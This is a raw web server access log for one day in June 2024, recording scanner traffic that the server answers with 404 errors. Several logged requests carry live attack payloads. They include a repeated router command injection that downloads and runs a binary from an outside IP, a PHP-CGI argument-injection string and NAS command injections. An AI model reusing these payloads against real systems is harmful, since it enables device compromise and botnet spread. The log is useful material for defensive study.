206.217.128.98 - - [17/Jun/2024:00:11:24 +0200] "GET / HTTP/1.1" 404 952 167.94.146.51 - - [17/Jun/2024:01:36:09 +0200] "GET / HTTP/1.1" 404 952 167.94.146.51 - - [17/Jun/2024:01:36:12 +0200] "GET / HTTP/1.1" 404 952 185.244.36.221 - - [17/Jun/2024:02:18:07 +0200] "GET / HTTP/1.1" 404 952 10.10.11.57 - - [17/Jun/2024:02:21:16 +0200] "GET / HTTP/1.1" 404 952 104.248.0.15 - - [17/Jun/2024:02:44:08 +0200] "GET / HTTP/1.1" 404 952 104.248.0.15 - - [17/Jun/2024:02:44:08 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 104.152.52.108 - - [17/Jun/2024:03:24:41 +0200] "GET / HTTP/1.0" 404 952 198.235.24.202 - - [17/Jun/2024:03:31:05 +0200] "GET / HTTP/1.1" 404 952 141.98.11.82 - - [17/Jun/2024:04:40:56 +0200] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 404 952 141.98.11.82 - - [17/Jun/2024:04:40:56 +0200] "POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 404 952 185.191.126.213 - - [17/Jun/2024:04:55:24 +0200] "GET / HTTP/1.1" 404 952 143.255.242.248 - - [17/Jun/2024:05:19:20 +0200] "GET / HTTP/1.1" 404 952 4.255.99.81 - - [17/Jun/2024:05:54:07 +0200] "GET /actuator/health HTTP/1.1" 404 952 185.244.36.221 - - [17/Jun/2024:06:22:35 +0200] "GET / HTTP/1.1" 404 952 83.97.73.245 - - [17/Jun/2024:06:42:48 +0200] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 952 83.97.73.245 - - [17/Jun/2024:07:08:09 +0200] "GET /actuator/gateway/routes HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:08:32:10 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:08:32:10 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 185.244.36.221 - - [17/Jun/2024:09:05:09 +0200] "GET / HTTP/1.1" 404 952 45.156.130.6 - - [17/Jun/2024:09:13:25 +0200] "GET / HTTP/1.1" 404 952 139.206.16.171 - - [17/Jun/2024:09:27:12 +0200] "GET / HTTP/1.1" 404 952 152.32.227.252 - - [17/Jun/2024:10:09:59 +0200] "GET / HTTP/1.1" 404 952 152.32.227.252 - - [17/Jun/2024:10:10:17 +0200] "GET /favicon.ico HTTP/1.1" 404 952 152.32.227.252 - - [17/Jun/2024:10:10:17 +0200] "GET /robots.txt HTTP/1.1" 404 952 152.32.227.252 - - [17/Jun/2024:10:10:17 +0200] "GET /sitemap.xml HTTP/1.1" 404 952 78.108.177.52 - - [17/Jun/2024:10:41:34 +0200] "GET / HTTP/1.0" 404 952 38.114.121.47 - - [17/Jun/2024:10:44:54 +0200] "GET /nacos/v1/console/namespaces HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:11:29:36 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:11:29:36 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 24.144.96.191 - - [17/Jun/2024:11:50:02 +0200] "GET / HTTP/1.1" 404 952 83.249.226.49 - - [17/Jun/2024:12:38:16 +0200] "GET /phpMyAdmin/scripts/setup.php HTTP/1.0" 404 952 83.249.226.49 - - [17/Jun/2024:12:38:16 +0200] "GET /phpmyadmin/scripts/setup.php HTTP/1.0" 404 952 83.249.226.49 - - [17/Jun/2024:12:38:16 +0200] "GET /phpMyAdmin-2.11.4/scripts/setup.php HTTP/1.0" 404 952 83.249.226.49 - - [17/Jun/2024:12:38:16 +0200] "GET /phpMyAdmin-2.11.3/scripts/setup.php HTTP/1.0" 404 952 83.249.226.49 - - [17/Jun/2024:12:38:16 +0200] "GET /phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.0" 404 952 83.249.226.49 - - [17/Jun/2024:12:38:16 +0200] "GET /phpMyAdmin-2.10.3/scripts/setup.php HTTP/1.0" 404 952 83.249.226.49 - - [17/Jun/2024:12:38:16 +0200] "GET /phpMyAdmin-2.8.0.2/scripts/setup.php HTTP/1.0" 404 952 64.62.197.214 - - [17/Jun/2024:13:01:50 +0200] "GET / HTTP/1.1" 404 952 64.62.197.224 - - [17/Jun/2024:13:02:05 +0200] "GET /favicon.ico HTTP/1.1" 404 952 64.62.197.220 - - [17/Jun/2024:13:02:23 +0200] "GET /?format=json HTTP/1.1" 404 952 47.244.236.73 - - [17/Jun/2024:14:19:42 +0200] "GET / HTTP/1.1" 404 952 185.244.36.221 - - [17/Jun/2024:15:01:48 +0200] "GET / HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:15:30:35 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:15:30:35 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:16:56:25 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:16:56:25 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 200.81.185.179 - - [17/Jun/2024:16:56:57 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 71.6.232.22 - - [17/Jun/2024:17:26:28 +0200] "GET / HTTP/1.1" 404 952 172.168.41.91 - - [17/Jun/2024:17:31:28 +0200] "GET /hudson HTTP/1.1" 404 952 45.95.147.138 - - [17/Jun/2024:17:43:18 +0200] "GET / HTTP/1.1" 404 952 45.95.147.138 - - [17/Jun/2024:17:43:18 +0200] "GET / HTTP/1.1" 404 952 104.206.128.70 - - [17/Jun/2024:18:34:56 +0200] "GET / HTTP/1.1" 404 952 45.83.65.1 - - [17/Jun/2024:19:12:27 +0200] "GET / HTTP/1.1" 404 952 45.83.64.197 - - [17/Jun/2024:19:12:27 +0200] "GET /favicon.ico HTTP/1.1" 404 952 104.168.70.165 - - [17/Jun/2024:19:21:32 +0200] "GET / HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:19:40:41 +0200] "GET /.most/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:19:40:41 +0200] "GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:19:40:41 +0200] "GET /cgi-bin/orospucoc.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:19:40:41 +0200] "GET /.most/orospucoc.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:20:13:01 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:20:13:01 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:20:37:39 +0200] "GET /.most/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:20:37:39 +0200] "GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:20:37:39 +0200] "GET /cgi-bin/orospucoc.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:20:37:39 +0200] "GET /.most/orospucoc.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:21:25:17 +0200] "GET /.most/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:21:25:17 +0200] "GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:21:25:17 +0200] "GET /cgi-bin/orospucoc.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:21:25:17 +0200] "GET /.most/orospucoc.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 188.232.168.73 - - [17/Jun/2024:22:07:52 +0200] "GET / HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:22:23:52 +0200] "GET /.most/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:22:23:52 +0200] "GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:22:23:52 +0200] "GET /cgi-bin/orospucoc.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 141.98.11.55 - - [17/Jun/2024:22:23:52 +0200] "GET /.most/orospucoc.cgi?user=messagebus&passwd=&cmd=15&system=cHMJfAlncmVwCW15ZGxpbms= HTTP/1.1" 404 952 45.79.172.21 - - [17/Jun/2024:22:35:43 +0200] "GET / HTTP/1.1" 404 952 200.81.185.179 - - [17/Jun/2024:22:41:44 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 404 952 68.183.152.226 - - [17/Jun/2024:23:01:52 +0200] "GET / HTTP/1.1" 404 952 68.183.152.226 - - [17/Jun/2024:23:01:52 +0200] "GET /download/powershell/ HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:23:03:42 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60for+proc_dir+in+%2Fproc%2F%5B0-9%5D%2A%3B+do+pid%3D%24%7Bproc_dir%23%23%2A%2F%7D%3B+buffer%3D%24%28cat+%22%2Fproc%2F%24pid%2Fmaps%22%29%3B+if+%5B+%22%24%7B%23buffer%7D%22+-gt+1+%5D%3B+then+if+%5B+%22%24%7Bbuffer%23%2A%22%2Flib%2F%22%7D%22+%3D+%22%24buffer%22+%5D+%26%26+%5B+%22%24%7Bbuffer%23%2A%22telnetdbot%22%7D%22+%3D+%22%24buffer%22+%5D%3B+then+kill+-9+%22%24pid%22%3B+fi%3B+fi%3B+done%60) HTTP/1.1" 404 952 45.148.10.174 - - [17/Jun/2024:23:03:42 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 952 47.100.201.178 - - [17/Jun/2024:23:16:20 +0200] "GET / HTTP/1.1" 404 952 64.227.162.34 - - [17/Jun/2024:23:17:37 +0200] "GET / HTTP/1.1" 404 952 64.227.162.34 - - [17/Jun/2024:23:17:37 +0200] "GET /download/powershell/ HTTP/1.1" 404 952